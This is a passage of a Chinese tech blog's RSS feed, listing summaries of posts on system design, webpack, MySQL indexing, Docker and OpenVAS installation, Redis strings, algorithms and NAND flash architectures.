      <description>40 设计一个点赞系统（开放设计： 怎么设计表 用什么存储 怎么处理高并发 容错等） 设计一个点赞系统需要考虑多个方面，包括数据库设计、存储选择、高并发处理、容错机制等。以下是一个高层次的设计方案：&#xA;1. 数据库设计 a. 表结构 点赞记录表：&#xA;user_id：用户ID。content_id：内容ID（比如文章、评论等）。timestamp：点赞时间。可以考虑使用复合主键（user_id, content_id），确保同一用户对同一内容的点赞唯一性。 内容统计表：&#xA;content_id：内容ID。likes_count：点赞总数。 b. 索引优化 对于点赞记录表，根据查询需求，可能需要对 user_id 和 content_id 建立索引。 2. 存储选择 关系型数据库（如MySQL）：适用于存储结构化的点赞记录，易于维护数据的一致性和完整性。NoSQL数据库（如Redis）：适用于缓存点赞计数，提高读取性能，尤其在高并发场景下。 3. 处理高并发 使用缓存：&#xA;将点赞计数存储在内存缓存（如Redis）中，以提高读取性能。定期（或基于特定条件）将缓存中的点赞数同步更新到数据库。 异步处理：&#xA;将用户的点赞操作异步处理，比如使用消息队列（如RabbitMQ或Kafka）。用户点赞操作首先写入消息队列，然后由后端服务异步更新数据库。 4. 容错和数据一致性 分布式锁：&#xA;在更新点赞计数时使用分布式锁，以保持数据一致性。 事务管理：&#xA;在更新点赞记录和点赞计数时使用事务，确保操作的原子性。 冗余和备份：&#xA;对数据库进行定期备份。在关键组件（如数据库、缓存服务器）上实施冗余，以提高系统的容错能力。 5. 扩展性考虑 数据库分片（Sharding）：&#xA;当数据量增大时，考虑对数据库进行分片，分散负载。 负载均衡：&#xA;使用负载均衡器分配网络请求，特别是在微服务架构中。 6. 安全性考虑 防止重复点赞：&#xA;确保系统能够处理重复的点赞请求，避免数据不准确。 接口限流：&#xA;实现API限流，防止恶意请求或过载。 结论 设计一个点赞系统是一个复杂的任务，需要考虑性能、可扩展性、容错能力和数据一致性等多个方面。通过结合关系型和NoSQL数据库、实施缓存和异步处理、以及采取适当的容错和安全措施，可以构建一个高效且稳定的点赞系统。</description>
    </item>
    <item>
      <title>如何提⾼webpack 的构建速度</title>
      <link>https://bchobby.github.io/posts/c3d1e39382d50bcd50a0a0f462f9cd15/</link>
      <pubDate>Mon, 11 Dec 2023 13:50:02 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/c3d1e39382d50bcd50a0a0f462f9cd15/</guid>
      <description>1.多⼊⼝情况下，使⽤ CommonsChunkPlugin 来提取公共代码&#xA;2.通过 externals 配置来提取常⽤库&#xA;3.利⽤ DllPlugin 和 DllReferencePlugin 预编译资源模块 通过DllPlugin 来对那些我们引⽤但是绝对不会修改的 npm 包来进⾏预编译，再通过 DllReferencePlugin 将预编译的模块加载进来。&#xA;4.使⽤ Happypack 实现多线程加速编译&#xA;5.使⽤ webpack-uglify-parallel 来提升 uglifyPlugin 的压缩速度。原理上 webpack-uglify-parallel 采⽤了多核并⾏压缩来提升压缩速度&#xA;6.使⽤ Tree-shaking 和 Scope Hoisting 来剔除多余代码</description>
    </item>
    <item>
      <title>AcWing 5060：排队打饭 ← 复旦大学考研机试题</title>
      <link>https://bchobby.github.io/posts/e37bd180db5179aaadfcf8e44d770fd3/</link>
      <pubDate>Mon, 11 Dec 2023 13:30:44 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/e37bd180db5179aaadfcf8e44d770fd3/</guid>
      <description>【题目来源】&#xA;https://www.acwing.com/problem/content/description/5063/&#xA;【题目描述】&#xA;有 n 个同学在同一个食堂窗口排队打饭，按照到达队伍的时间顺序，从先到后依次编号为 1∼n。&#xA;其中，第 i 个同学的到达队伍时刻为 ai，打饭耗时为 ti。&#xA;每个同学的耐心都是有限的，第 i 个同学的最大等待时间为 bi，即如果其在第 ai+bi 时刻还没有开始打饭，他就会离开队伍，放弃打饭。&#xA;在一个同学打完饭后，下一个同学会立即开始打饭，中间的时间损耗忽略不计。&#xA;例如，如果一个同学在时刻 1 开始打饭，打饭耗时为 3，那么他会在时刻 4 打完饭，而下一个同学也会在时刻 4 开始打饭。&#xA;请你计算，每个同学的开始打饭时刻。&#xA;【输入格式】&#xA;第一行包含整数 n。&#xA;接下来 n 行，其中第 i 行包含三个整数 ai,ti,bi。&#xA;【输出格式】&#xA;共一行，输出 n 个整数，其中第 i 个整数表示第 i 个同学的开始打饭时刻，如果该同学放弃打饭，则输出 -1。&#xA;【数据范围】&#xA;1≤n≤10^5 ,&#xA;1≤ai,ti,bi≤10^9。&#xA;数据保证 a1&amp;lt;a2&amp;lt;…&amp;lt;an。&#xA;【输入样例】&#xA;4&#xA;1 3 3&#xA;2 2 2&#xA;3 9 1&#xA;4 3 2&#xA;【输出样例】&#xA;1 4 -1 6</description>
    </item>
    <item>
      <title>[MySQL] SQL优化之性能分析</title>
      <link>https://bchobby.github.io/posts/86ffc3dd8b60ed1dc9c05e4c2efdddc1/</link>
      <pubDate>Mon, 11 Dec 2023 12:06:56 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/86ffc3dd8b60ed1dc9c05e4c2efdddc1/</guid>
      <description>🌈键盘敲烂，年薪30万🌈&#xA;目录&#xA;一、索引优化&#xA;1、索引是什么：&#xA;2、索引的数据结构：&#xA;3、索引种类：&#xA;4、sql分析（回表查询）&#xA;二、定位慢查询语句&#xA;1、慢查询日志&#xA;2、profile详情&#xA;3、explain执行计划（重点）&#xA;4、查看执行频次&#xA;一、索引优化 1、索引是什么： 通过一些约束，快速查询到相应字段的一种数据结构&#xA;索引在sql优化中占有非常重要的地位，因为索引与查询挂钩，查询是我们最常做的一个操作。&#xA;2、索引的数据结构： Hash索引：查询快，但是不支持范围查询，只能精确定位某个数据。&#xA;B+树索引：查询较快，支持范围查询，这也是InnoDB存储引擎中默认的索引结构&#xA;B+树结构：&#xA;多路平衡树，每个节点存放key和指针，指针数量等于key数量+1&#xA;插播小知识：&#xA;B+树与B树，有什么区别，为什么不用二叉树？？？&#xA;B+树没个非叶子结点只存放指针，可以最大限度的降低树的高度，提高查询效率。&#xA;所有数据存放在叶子节点，查询稳定，而二叉树层次会更深，也会有退化为链表的风险&#xA;3、索引种类： 聚簇索引：叶子节点中主键下面挂的是每一行的数据&#xA;二级索引：叶子节点中索引值下面挂的是主键id&#xA;4、sql分析（回表查询） 现有user表，id为主键，name有唯一约束和唯一索引结构，分析下面sql语句。&#xA;-- select * from user where id = 1;&#xA;-- select * from user where name = &#39;zhang&#39;;&#xA;分析：&#xA;①where 后面是id，从主键索引里面查找，找到了id为1的，再看前面select 后面是 * 主键下面包含了这些字段信息，直接返回。&#xA;②where 后面是name，并且有唯一索引结构，从该索引查找，找到了姓名为zhang的，同样select * 也是查询所有字段，但是此时name下面只有主键id的值，他要根据id再次查询主键索引，性能低&#xA;二、定位慢查询语句 1、慢查询日志 mysql带有慢查询日志，该日志会记录超过指定时间的sql语句， 注意：&#xA;慢查询日志默认为不开启，开启之后默认指定时间为10s。&#xA;可通过修改配置文件来设置这两参数。&#xA;修改mysql的配置文件 缺点：&#xA;有些sql在规定的时间之内，但是查询花了9.9秒，并且性能很低，慢查询日志无法记录这样的sql我们也就无法优化.&#xA;2、profile详情 show profiles 查看sql语句的执行时间 show profile for query query_id; 查看指定语句的执行时间 3、explain执行计划（重点） explain执行计划：他记录了sql查询的一些详细信息 例如：查询部门和员工信息，</description>
    </item>
    <item>
      <title>docker安装记录</title>
      <link>https://bchobby.github.io/posts/6b96208c9cb4300d529951d8eeb241e5/</link>
      <pubDate>Mon, 11 Dec 2023 11:54:49 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/6b96208c9cb4300d529951d8eeb241e5/</guid>
      <description>1.卸载旧版 首先如果系统中已经存在旧的Docker，则先卸载：&#xA;yum remove docker \ docker-client \ docker-client-latest \ docker-common \ docker-latest \ docker-latest-logrotate \ docker-logrotate \ docker-engine 2.配置Docker的yum库 首先要安装一个yum工具&#xA;yum install -y yum-utils 安装成功后，执行命令，配置Docker的yum源：&#xA;yum-config-manager --add-repo https://download.docker.com/linux/centos/docker-ce.repo 3.安装Docker 最后，执行命令，安装Docker&#xA;yum install -y docker-ce docker-ce-cli containerd.io docker-buildx-plugin docker-compose-plugin 4.启动和校验 # 启动Docker systemctl start docker # 停止Docker systemctl stop docker # 重启 systemctl restart docker # 设置开机自启 systemctl enable docker # 执行docker ps命令，如果不报错，说明安装启动成功 docker ps 5.配置镜像加速 这里以阿里云镜像加速为例。&#xA;5.1.注册阿里云账号 首先访问阿里云网站:</description>
    </item>
    <item>
      <title>Redis数据类型String详解</title>
      <link>https://bchobby.github.io/posts/2863c5f40eecd2426baa3a69edec5939/</link>
      <pubDate>Mon, 11 Dec 2023 11:15:35 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/2863c5f40eecd2426baa3a69edec5939/</guid>
      <description>一、概述&#xA;String是Redis最基本的类型，你可以理解成与Memcached一模一样的类型。&#xA;String的数据结构为简单动态字符串(SimpleDynamicString,缩写SDS)，是可以修改的字符串，内部结构实现上类似于Java的ArrayList，采用预分配冗余空间的方式来减少内存的频繁分配。&#xA;二、String底层结构&#xA;1.SDS结构&#xA;Redis 使用 SDS 简单动态字符串（Simple Dynamic String，SDS）来表示字符串，SDS 的主要结构如下：&#xA;struct sdshdr { // buf数组中已使用字节的数量 int len; // buf数组中未使用字节的数量 int free; // 字节数组，用于保存字符串 char buf[]; }; 1.“Free”：表示 Buf 数组中未使用字节的数量，也就是 Buf 数组的剩余空间。这样可以在增加字符串长度时，避免频繁的内存重新分配。&#xA;2.“Len” ：表示 Buf 数组中已使用字节的数量，也就是字符串的长度。这样可以在 O(1) 的时间复杂度内获取字符串长度，而不需要像 C 语言字符串那样遍历整个字符串。&#xA;3.“Buf[]” ：表示字节数组，用于保存字符串。这个数组的末尾总是包含一个空字符（‘\0’），这样 SDS 就可以兼容 C 语言的字符串函数。&#xA;2.SDS优点&#xA;（1）获取长度的时间复杂度为 O(1)：SDS 内部维护了一个 len 属性，这个属性记录了字符串的长度，因此获取字符串长度的时间复杂度为 O(1)，而 C 字符串需要遍历整个字符串才能获取到长度，时间复杂度为 O(n)；&#xA;（2）内存效率：SDS 通过维护一个 free 属性，记录了 buf 数组中未使用的字节数量，这样可以在需要扩展字符串时，直接使用这些未使用的空间，而不需要重新分配内存，提高了内存的使用效率；&#xA;（3）避免缓冲区溢出：SDS在进行字符串修改操作时，会先检查缓冲区是否满足条件，如果不满足，会自动扩展缓冲区，因此可以避免缓冲区溢出的问题。而C字符串则需要程序员自己保证不会发生缓冲区溢出；&#xA;（4）减少内存重新分配的次数：当给sds的值追加一个字符串，而当前的剩余空间不够时，就会触发sds的扩容机制。扩容采用了空间预分配的优化策略，即分配空间的时候：如果sds 值大小&amp;lt; 1M ,则增加一倍；反之如果&amp;gt;1M , 则当前空间加1M作为新的空间；</description>
    </item>
    <item>
      <title>【IC验证】perl脚本——分析前/后仿用例回归情况</title>
      <link>https://bchobby.github.io/posts/563a99da90cacd6ee04be71eaa2d5afc/</link>
      <pubDate>Mon, 11 Dec 2023 10:54:42 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/563a99da90cacd6ee04be71eaa2d5afc/</guid>
      <description>目录&#xA;1 脚本名称&#xA;2 脚本使用说明&#xA;3 nocare_list文件示例&#xA;4 脚本执行方法&#xA;5 postsim_result.log文件示例&#xA;6 脚本代码&#xA;1 脚本名称 post_analysis&#xA;2 脚本使用说明 help：打印脚本说明信息&#xA;命令：post_analysis help&#xA;前/后仿结束后，首先填写好nocare_list（要过滤的log信息），然后在有log文件的上一层次路径下运行post_analysis脚本，执行脚本时若不带-all参数，则过滤掉nocare_list中的信息后只对后仿log进行分析，若带-all参数，则会过滤nocare_list中的信息后，对前/后仿的log信息进行分析，给出pass、timeout、bombed、violation等结果：&#xA;（1）不带-all参数：&#xA;脚本会只分析名称带max或者min的后仿文件夹如（rfdig_m33_tc029_max、rfdig_m33_tc001_max_20230911），除去runsim.log文件中和nocare_list中的内容相关的violation，之后在各个用例文件夹下产生runsim_temp.log文件，随后分析runsim_temp.log文件out of reset之后的内容，若case PASS但存在violation，则输出结果 VOILATION以及$setuphold/$setup/$hold/$width违例的数量，并产生结果文件： postsim_result.log；若不仍存在violation，则输出结果PASS到postsim_result.log文件中；否则输出结果FAIL、TIMEOUT、RUNNING、BOMB到postsim_result.log文件中。&#xA;（2）带-all参数：&#xA;对前仿也进行上述分析。&#xA;3 nocare_list文件示例 在runsim.log中找到包含以下关键字的行，并将其删除：&#xA;4 脚本执行方法 post_analysis //只对文件夹名称中有max或者min的后仿文件夹进行分析 post_analysis -all //对前后仿的文件夹都进行分析 5 postsim_result.log文件示例 （1）PASS说明reset后无任何violation；&#xA;（2）VOILATION说明reset后仍存在violation，需查看对应的runsim_temp.log确认每一个violation；&#xA;（3）FAIL说明用例fail，需查看对应的runsim_temp.log，确认fail原因；&#xA;（4）TIMEOUT说明用例超时，需查看对应的runsim_temp.log，确认超时原因；&#xA;（5）RUNNING说明用例还在跑，确认相关原因；&#xA;（6）BOMB说明用例编译失败，需查看对应的vcs_compile.log确认编译失败原因；&#xA;6 脚本代码 #! /usr/bin/perl -w #========================================================== # PERL MODULE #========================================================== use Cwd; use Getopt::Long; $Getopt::Long::ignorecase = 0; #========================================================== # PERL FUNCTION GetOptions (get command parameters) #========================================================== GetOptions(&#34;</description>
    </item>
    <item>
      <title>手把手教你用C#语言写一个简单计算器窗体（附源代码文件和演示视频）</title>
      <link>https://bchobby.github.io/posts/a3eb3f2b5ffce38766300ca3294b8c12/</link>
      <pubDate>Mon, 11 Dec 2023 04:17:41 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/a3eb3f2b5ffce38766300ca3294b8c12/</guid>
      <description>手把手教你用C#语言写一个简单计算器窗体（附源代码文件和演示视频）！&#xA;目录&#xA;C#简介：&#xA;开发工具的介绍和安装：&#xA;计算器的编写过程：&#xA;下面是源代码（Form1.cs文件）：&#xA;彩蛋：&#xA;1.插入并载入新的窗体（窗口）：&#xA;2.插入图片并让其适中显示：&#xA;下面是“彩蛋”源代码（Form2.cs文件）：&#xA;最终效果演示：&#xA;帮人帮到底！源代码文件分享链接如下：&#xA;C#简介： C#是由C和C++衍生出来的一种安全的、稳定的、简单的、优雅的面向对象编程语言。它在继承C和C++强大功能的同时去掉了一些它们的复杂特性（例如没有宏以及不允许多重继承）。C#综合了VB简单的可视化操作和C++的高运行效率，以其强大的操作能力、优雅的语法风格、创新的语言特性和便捷的面向组件编程的支持成为.NET开发的首选语言。&#xA;开发工具的介绍和安装： 这里用的是VS2022，可以去官网下载安装（链接如下）Visual Studio: 面向软件开发人员和 Teams 的 IDE 和代码编辑器&#xA;Visual Studio2022除了体积较大，可以说是很强大的IDE了可以编写多种语言并且内置编译器，代码补全功能也十分优秀。&#xA;计算器的编写过程： 首先我们新建一个窗体文件以后，映入眼帘的是一个空白的窗体（窗口），默认为Form1，我们计算器的UI就是要在这上面绘制 这里我们就用到了“控件”，也就是像按钮和文本框这些我们在使用中所需要的东西。&#xA;如果vs2022打开后没有显示旁边的工具箱，可以在视图--&amp;gt;工具箱里面打开，或者CTRL+ALT+X；&#xA;这里面的分类可以方便我们查找我们所需的工具&#xA;放置文本的控件 计算器的主要控件按钮 我们新建完控件会发现，我们需要设置他的标题，大小还有里面的内容的字体等等&#xA;这里就需要用到属性。&#xA;我们需要单击控件，选中后，右键，然后点击属性，然后对属性进行修改。&#xA;TextBox基础属性设置 我们双击任何一个按钮（控件）进入代码编辑区&#xA;我们会发现，每一个控件包括窗体都对应着一个函数，我们剩下的工作就是编辑代码，补全这些函数，使其联系起来，让代码运行顺利，并且达到我们想要的逻辑效果。 下面是源代码（Form1.cs文件）： using System; using System.Collections.Generic; using System.ComponentModel; using System.Data; using System.Drawing; using System.Linq; using System.Runtime.Remoting.Messaging; using System.Text; using System.Threading.Tasks; using System.Windows.Forms; namespace 计算器 { public partial class Form1 : Form { public Form1() { InitializeComponent(); } private void button2_Click(object sender, EventArgs e) { textBox1.</description>
    </item>
    <item>
      <title>vue 动态引入组件、批量引入组件(vue2,vue3)</title>
      <link>https://bchobby.github.io/posts/190eea54b699d70a18efe477df326878/</link>
      <pubDate>Sun, 10 Dec 2023 23:30:27 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/190eea54b699d70a18efe477df326878/</guid>
      <description>vue2 批量全局引入：&#xA;import Vue from &#34;vue&#34; const components = require.context( &#39;./&#39;, //组件所在目录的相对路径 false, //是否查询其子目录 /[A-Z]\w+\.(vue|js)$/ //匹配组件文件名的正则表达式 ) components.keys().forEach(fileName=&amp;gt;{ // 获取文件名 var names = fileName.split(&#34;/&#34;).pop().replace(/\.\w+$/,&#34;&#34;); // 获取组件配置 const comp = components(fileName); // 若该组件是通过&#34;export default&#34;导出的，优先使用&#34;.default&#34;， // 否则退回到使用模块的根 Vue.component(names,comp.default || comp); }) 批量局部引入：&#xA;&amp;lt;script&amp;gt; // 引入所有需要的动态组件 const components = require.context( &#34;./&#34;, //组件所在目录的相对路径 true, //是否查询其子目录 /\w+.vue$/ //匹配基础组件文件名的正则表达式 ); const comObj = {}; components.keys().forEach(fileName =&amp;gt; { // 获取文件名 var names = fileName.split(&#34;/&#34;).pop().replace(/.\w+$/, &#34;&#34;); // 获取组件配置 const comp = components(fileName); // 若该组件是通过&#34;</description>
    </item>
    <item>
      <title>【C语言数据结构】kruskal算法，求最小生成树，代码简单实现，深度解析</title>
      <link>https://bchobby.github.io/posts/8c037070d8298d40faef9bc9630ce6da/</link>
      <pubDate>Sun, 10 Dec 2023 22:22:33 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/8c037070d8298d40faef9bc9630ce6da/</guid>
      <description>目录&#xA;kruskal算法思路&#xA;​编辑&#xA;代码实现&#xA;编写 边结构体&#xA;编写push函数&#xA;编写kruskal函数&#xA;完整代码&#xA;结尾&#xA;kruskal算法思路 代码实现 这个代码是在图的邻接矩阵（无项、有权）的代码的基础上，添加了kruskal最小生成树的函数，并且修改测试用例和主函数代码，图的邻接矩阵（无项、有权）的代码具体请查看 【C语言\数据结构】图之邻接矩阵（无向、有权）代码简单实现，这里就不过多赘述。&#xA;编写 边结构体 typedef struct { int start; int end; int weight; }edge; 创建一个边结构体，用来表示一条边的起点和终点以及权值。&#xA;编写push函数 void push(edge temp,edge edges[],int edgesCount){ int index=edgesCount-1; while(index&amp;gt;=0&amp;amp;&amp;amp;edges[index].weight&amp;gt;temp.weight){ edges[index+1]=edges[index]; index--; } edges[index+1]=temp; } push函数中，第一个参数是边结构体类型的变量temp，temp表示一条边。第二个参数是边结构体数组edges，按照边的权值升序存储edge数据类型，用来模拟优先队列。第三个参数是edgesCount，表示edges数组的元素个数，用来对edges数组进行尾插操作。&#xA;edges数组按照边的权值，升序存储数据，每一次添加数据，把数据插入到指定位置，从最后一个元素开始遍历，如果该权值大于插入元素的权值，就往后赋值，挪一个位置，依次循环。循环结束标志有两个，第一个是遍历完所有元素，第二个是找到了指定的位置。最后把temp插入指定位置即可。&#xA;相同结构体数据类型变量直接赋值，表示把各成员变量数据依次赋值。&#xA;编写kruskal函数 void kruskal(graph g) { int sum = 0; edge temp; edge edges[MAX]; edge edgesGather[MAX]; int edgesGatherCount = 0; int edgesCount = 0; for (int i = 1; i &amp;lt;= g.</description>
    </item>
    <item>
      <title>浅析不同NAND架构的差异与影响</title>
      <link>https://bchobby.github.io/posts/93773fa7c2749881c64a371f0503583a/</link>
      <pubDate>Sun, 10 Dec 2023 22:03:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/93773fa7c2749881c64a371f0503583a/</guid>
      <description>SSD的存储介质是什么，它就是NAND闪存。那你知道NAND闪存是怎么工作的吗？其实，它就是由很多个晶体管组成的。这些晶体管里面存储着电荷，代表着我们的二进制数据，要么是“0”，要么是“1”。NAND闪存原理上是一个CMOS管，有两个栅极，一个是控制栅极(Control Gate), 一个是浮栅(Floating Gate). 浮栅的作用就是存储电荷，而浮栅与沟道之间的氧化层(Oxide Layer)的好坏决定着浮栅存储电荷的可靠性，也就是NAND闪存的寿命。&#xA;目前市面上主要流通的就是4种NAND类型：SLC、MLC、TLC、QLC。随着每个寿命从高到低依次是SLC&amp;gt;MLC&amp;gt;TLC&amp;gt;QLC.&#xA;随着单个cell含有的bit数越多，NAND的可靠性也会有所降低。同时写延迟也在不断的增加。SLC写延迟在0.5ms级别，到QLC写延迟达到10-20ms，40倍的差距。这也导致QLC SSD性能出现很大的下降。&#xA;目前业内3D-NAND工艺架构主要分为两个阵营：&#xA;一个阵营，以Solidigm(Intel存储产品卖给海力士后新成立的公司)为首，采用Floating Gate(FG)浮栅，FG浮栅将电荷存储在导体中。FG浮栅对read disturb和program disturb的抗干扰比CTF要好。&#xA;一个阵营，剩余其他NAND原厂，三星/WD/铠侠等，采用Change Trap Flash。Micron最开始用FG，后来也转投CTF阵营。CTF将电荷存储于绝缘体中，这消除了单元之间的干扰，提高了读写性能，同时与浮栅技术相比减少了单元面积。&#xA;不过，很遗憾，随着Micron的放弃以及最后一根独苗Solidigm被海力士收购，FG浮栅架构前景不乐观，也许FG NAND很快会成为历史。&#xA;FG浮栅架构在Program过程，采用4-16 program算法，这个过程可以减少program disturb写干扰。&#xA;CTF架构，或者叫做RG架构，采用16-16 progam算法，两次program都要求所有page直接写入NAND，第一次program电压是放置在最终电压附近。CTF的Data Retention相对比较严重。&#xA;在写性能方面的对比，不同的架构有不同的表现。&#xA;在TLC NAND中，CTF架构tPROG比FG浮栅低18%，所以在TLC SSD中，CTF架构TLC NAND SSD的性能比FG架构TLC NAND SSD性能要好。&#xA;在QLC NAND中，由于program算法差异的影响，FG浮栅表现更好，FG架构QLC NAND SSD性能比CTF架构QLC NAND SSD性能要好。&#xA;从QLC SSD性能对比图，同样4plane的QLC SSD，采用FG架构的Intel QLC SSD写延迟tPROG=1.63ms比采用CTF架构的SK Hynix写延迟tPROG=2.15ms要低。&#xA;不同的NAND工艺架构，在不同的维度各有千秋，对维度对比，供大家参考。&#xA;目前业内3D NAND各家原厂分别是什么情况呢？参考Techinsights公布的各大原厂架构分析，可以从以下几个纬度了解下各家的差异：&#xA;1.3D NAND架构演进路线图：&#xA;（图片自Techinsights，如有侵权，请私信告知）&#xA;2.不同NAND原厂主流架构对比：&#xA;（图片自Techinsights，如有侵权，请私信告知）&#xA;3.不同NAND原厂 3D NAND堆叠层数趋势变化：&#xA;（图片自Techinsights，如有侵权，请私信告知）&#xA;4.不同NAND原厂 3D NAND Bit Density对比：&#xA;（图片自Techinsights，如有侵权，请私信告知）&#xA;5.不同NAND原厂 3D NAND Gate间距对比：&#xA;（图片自Techinsights，如有侵权，请私信告知）</description>
    </item>
    <item>
      <title>令牌桶算法理解学习（限流算法）</title>
      <link>https://bchobby.github.io/posts/cd4f9a310f1a7125bbcdbc535aff7ea7/</link>
      <pubDate>Sun, 10 Dec 2023 21:35:26 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/cd4f9a310f1a7125bbcdbc535aff7ea7/</guid>
      <description>令牌桶算法是网络流量整形（Traffic Shaping）和速率限制（Rate Limiting）中最常使用的一种算法。典型情况下，令牌桶算法用来控制发送到网络上的数据的数目，并允许突发数据的发送。&#xA;用简单的话语来说就是限制流量，将其控制到某一平均值稳定输出，并可以在短时间内应对高额流量（短时高速率流量）的一种方法。&#xA;需要注意的是，限速只是让他尽可能速率一致，是存在速率不稳定的情况的，只有在长期来看速率才是恒定的，而当令牌桶应对突发流量时会进行令牌桶内令牌的小号，理论上的峰值速率=令牌桶的容量+恒定速率，举个例子，令牌桶的容量 为100MB，限制的速率为10MB/s，峰值速率则可以达到100+10=110MB/s。&#xA;b为桶的容量，r为单位时间内放入的令牌数量，以下图为例：&#xA;在r=10，b=5时，即表明每1/r=0.1，每0.1秒投入一个令牌，而在到0.5秒时达到桶的极限容量5，在此刻继续投入令牌则无法维持，这些令牌将会被废弃，同时在此时若有5个指令同时想要去走令牌则可以同时取走令牌桶内的所有令牌，即为取走b=5个。&#xA;注意：&#xA;当b&amp;gt;1时（桶的大小大于1个令牌时），任意1/r秒内最多可以取走b个令牌；而当b=1时（桶的大小就是1），每秒钟最多可以被取走r个令牌。 综上，令牌桶算法的总体流程大致分为如下三步：&#xA;将令牌放入桶内：按照固定的速率放入令牌桶内，例如r=10，20，100等；获取令牌：任意请求只有在取得可用令牌才会被接收处理；令牌桶已满：当桶内令牌已满时，新加入的令牌会被丢弃或者拒绝接收。 与网络带宽分配相结合，可在一定程度上减少资源的浪费，同时可以根据不同优先级的业务来进行基于令牌桶的带宽分配改进方式，针对不同优先级的业务设定不同的业务权值，以此来自适应业务速率的变化，可通过业务权值的占用比例进行动态分配令牌资源，利用令牌桶嵌入漏桶机制实现对业务占用的带宽进行二次分配,根据业务优先级的高低对溢出的令牌实现依次填充,从而减少资源浪费。（源自论文：基于动态令牌桶的卫星网络带宽分配方法）&#xA;卫星网络模型：一个GEO卫星，若干地面终端和网络控制中心NCC（Network Control Center）组成，地面终端则是经由SG（Satallite Gateway）连接到Internet网络。通过网络控制中心NCC来进行处理各个SG发来的带宽申请和分配新的贷款，上行链路由各个SG提供，下行链路则是数据流共享的信道。&#xA;GEO卫星网络 令牌桶方法实现：令牌桶的填充速率R，令牌桶容量S（令牌桶所能容纳的最大令牌数），令牌桶的当前状态为x，表示当前对应令牌桶的深度，工作流程如下图：&#xA;工作流程上，GEO卫星上的带宽资源被定义为n个令牌桶，当有业务传达到时，NCC处理由SG为每个业务发送的带宽请求并为其分配带宽，哥哥令牌桶为每个业务分配基本保证带宽，即为R1,R2,R3......Rn。调整R1,R2,R3......Rn的大小可以设定各个业务的保证带宽，需要注意，各个令牌桶的尺寸小于链路的信道容量，各个业务到达相应令牌桶后，根据数据包长度与令牌桶内数量来进行分配，若数据包长度小于令牌数，业务传送出去，令牌桶内令牌相应减少。而高优先级的业务将会优先进行放入。而由于令牌桶间仙姑独立，令牌桶无法动态借用空闲令牌，即空闲带宽无法进行有效利用，且令牌桶在填充过程中，令牌个数不会大于令牌桶容量，溢出令牌会丢失，也进一步造成了带宽资源的浪费。&#xA;改进方法：将漏桶嵌入到令牌桶中,即每一个令牌桶连接一个漏桶,有几个优先级就有几个令牌桶。这样可以保证优先级为n的最小带宽,溢出桶用来存储溢出的令牌,借用令牌桶的动态带宽分配算法（Dynamic Bandwidth Allocation Algorithm with Token Bucket,DBAATB），原理下图：&#xA;代码实现：&#xA;acquire获取令牌的操作中，使用锁保护数据正确性，使用条件等待令牌足够才继续往下执行。&#xA;bool CountSemaphore::acquire(unsigned long long count) { std::unique_lock&amp;lt;std::mutex&amp;gt; lck(m_mtx); if (count &amp;gt; m_maxCount) { return false; } m_cv.wait(lck, [&amp;amp;]() -&amp;gt; bool { return m_updateCount &amp;gt;= count; }); m_updateCount -= count; return true; } release增加令牌数量，并通知其他等待条件的线程继续执行。&#xA;void CountSemaphore::release(unsigned long long count){ std::unique_lock&amp;lt;std::mutex&amp;gt; lck(m_mtx); auto tobeCount = m_updateCount + count; if (tobeCount &amp;gt; m_maxCount){ m_updateCount = m_maxCount; } else{ m_updateCount = tobeCount; } m_cv.</description>
    </item>
    <item>
      <title>Kali Linux安装OpenVAS(GVM)及汉化</title>
      <link>https://bchobby.github.io/posts/8f9a0ca353ea7fb2a3d142398e6557eb/</link>
      <pubDate>Sun, 10 Dec 2023 17:52:21 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/8f9a0ca353ea7fb2a3d142398e6557eb/</guid>
      <description>看到这篇大佬的文，担心之后会变成VIP的，所以先搬运。&#xA;OpenVAS安装和使用 一、参考二、环境三、安装Kali四、配置IP地址五、配置apt镜像源六、安装OpenVAS 离线安装七、配置GVM 离线上传特征库 (攻击脚本、漏洞信息、gvm配置数据等)八、汉化九、使用GVM十、特征库更新 一、参考 Greenbone Enterprise Appliance 22.04.13 文档从源代码构建 22.4 - 绿骨社区文档 (greenbone.github.io)腾讯软件源 (tencent.com)GSA翻译文件代码参考安装 Kali Linux |Kali Linux 文档 OpenVAS离线资源&#xA;OpenVAS GVM中文翻译补丁&#xA;二、环境 操作系统：kali-2023.2a&#xA;Greenbone Security Assistant (OpenVAS)：22.5.5 for kali&#xA;三、安装Kali 参考安装 Kali Linux |Kali Linux 文档安装Kali系统，最小化安装即可。&#xA;四、配置IP地址 # 查看网卡名称 ip addr # 修改网卡配置文件 sudo nano /etc/network/interfaces 我的网卡名称为eth0，根据网卡名称在网卡配置文件/etc/network/interfaces下面添加以下配置(注意原有的eth0配置要删掉)&#xA;iface eth0 inet static address 10.10.10.1/24 gateway 10.10.10.254 dns-nameservers 223.5.5.5 # 修改DNS sudo nano /etc/resolv.conf DNS配置文件/etc/resolv.conf&#xA;nameserver 223.5.5.5 # 重启网络服务 sudo systemctl restart networking # 开机自动开启SSH服务 sudo systemctl enable ssh # 启动SSH服务 sudo systemctl start ssh 五、配置apt镜像源 # 修改镜像源为腾讯源 sudo sed -i &#39;s/http:\/\/http.</description>
    </item>
    <item>
      <title>【银行测试】银行系统项目-性能测试压测，场景设计分析...</title>
      <link>https://bchobby.github.io/posts/cceccd62ebbcdc5ec9454e45dc07dbd0/</link>
      <pubDate>Sun, 10 Dec 2023 14:43:51 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/cceccd62ebbcdc5ec9454e45dc07dbd0/</guid>
